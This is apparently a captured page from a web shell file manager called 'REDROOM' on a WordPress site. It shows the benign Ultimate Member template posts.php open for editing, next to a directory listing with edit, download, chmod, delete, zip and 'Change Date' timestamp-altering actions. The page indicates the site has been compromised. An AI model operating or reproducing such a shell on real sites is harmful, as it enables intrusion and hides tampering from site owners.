REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.43 KB
Close
//home/nshryvcy/taramarriagebureau.com/wp-content/plugins/ultimate-member/templates/profile/posts.php
Text
Base64
<?php /** * Template for the profile posts * * This template can be overridden by copying it to your-theme/ultimate-member/profile/posts.php * * Page: "Profile" * * @version 2.6.1 * * @var object $posts * @var int $count_posts */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { //Only for AJAX loading posts if ( ! empty( $posts ) ) { foreach ( $posts as $post ) { UM()->get_template( 'profile/posts-single.php', '', array( 'post' => $post ), true ); } } } else { if ( ! empty( $posts ) ) { ?> <div class="um-ajax-items"> <?php foreach ( $posts as $post ) { UM()->get_template( 'profile/posts-single.php', '', array( 'post' => $post ), true ); } if ( $count_posts > 10 ) { ?> <div class="um-load-items"> <a href="javascript:void(0);" class="um-ajax-paginate um-button" data-hook="um_load_posts" data-author="<?php echo esc_attr( um_get_requested_user() ); ?>" data-page="1" data-pages="<?php echo esc_attr( ceil( $count_posts / 10 ) ); ?>"> <?php _e( 'load more posts', 'ultimate-member' ); ?> </a> </div> <?php } ?> </div> <?php } else { ?> <div class="um-profile-note"> <span> <?php if ( um_profile_id() == get_current_user_id() ) { _e( 'You have not created any posts.', 'ultimate-member' ); } else { _e( 'This user has not created any posts.', 'ultimate-member' ); } ?> </span> </div> <?php } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 4
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
comments-single.php
977 B
lrw-r--r--
2025-04-30 03:17:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
comments.php
1.55 KB
lrw-r--r--
2025-04-30 03:17:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
posts-single.php
2.02 KB
lrw-r--r--
2025-04-30 03:17:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
posts.php
1.43 KB
lrw-r--r--
2025-04-30 03:17:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).